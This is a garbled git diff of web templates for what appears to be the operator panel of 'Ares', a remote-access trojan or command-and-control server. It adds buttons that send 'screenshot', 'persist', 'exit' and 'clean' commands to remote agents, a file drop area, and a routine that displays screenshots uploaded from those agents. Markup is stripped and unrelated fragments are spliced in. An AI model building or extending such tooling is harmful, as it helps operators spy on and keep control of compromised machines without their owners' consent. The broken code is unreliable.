+ {% for file in filelist %}
+
+
+ {% endfor %}
+
+
" + this.options.dictFallbackText + "
"; + } + fieldsString += "+{% if agent.output %} {{ agent.output | safe }} {% endif %} @@ -6,3 +6,71 @@ Pending: {{ cmd.cmdline }} {% endfor %}+++ \ No newline at end of file diff --git a/server/webui/templates/agent_detail.html b/server/webui/templates/agent_detail.html index 7f07fb5..d963342 100644 --- a/server/webui/templates/agent_detail.html +++ b/server/webui/templates/agent_detail.html @@ -1,10 +1,38 @@ {% with previous_page=url_for('webui.agent_list'), title=agent.display_name %} {% include "header.html" %} {% endwith %} - + +++++ +Drop & Send
+ ++ +++ + + + + ++ +
+
@@ -91,6 +129,36 @@ $('#cmd').val(''); return false; } + + /** + * Send the command by the buttons. + */ + function sendCommandButton(buttonPressed) { + $.post("{{ url_for('api.push_command', agent_id=agent.id) }}", + {'cmdline': buttonPressed}, function(){}); + + addComandToHistory(buttonPressed); + return false; + } + + /** + * send the command when clicking on the command button. + */ + $('#screenshot').click(function(){ + sendCommandButton('screenshot'); + }); + $('#persist').click(function(){ + sendCommandButton('persist'); + }); + $('#help').click(function(){ + sendCommandButton('help'); + }); + $('#exit').click(function(){ + sendCommandButton('exit'); + }); + $('#clean').click(function(){ + sendCommandButton('clean'); + }); /** * send the command when clicking on the send bouton. @@ -99,6 +167,32 @@ sendCommand(); }); + /** + * Refresh the screenshots if the console output changed. + */ + function refreshScreenshots() { + if($('#termtext')[0]) + terminal = $('#termtext')[0].innerHTML.split('\n'); + else + terminal = ''; + for(line in terminal){ + if(terminal[line].includes('File uploaded')){ + url = terminal[line].split('href="')[1].split('"')[0] + file = url.split('/uploads/')[1].split('/')[1] + var exists = false; + + for(f in FILES) + if(FILES[f] == file) + exists = true; + + if(!exists){ + // Add to dom on screenshots + $("#screenshots").prepend(''); + FILES[FILES.length] = file + } + } + } + } /** * Refresh the terminal if the console output changed. */ @@ -152,6 +246,7 @@ */ $(document).ready(function(){ setInterval(refreshTerminal, 500); + setInterval(refreshScreenshots, 500); }); })(); diff --git a/server/webui/templates/header.html b/server/webui/templates/header.html index 5df6ee4..44adc9c 100644 --- a/server/webui/templates/header.html +++ b/server/webui/templates/header.html @@ -6,6 +6,9 @@ + + +
Ares {% with messages = get_flashed_messages() %} {% if messages %} @@ -21,6 +24,7 @@ +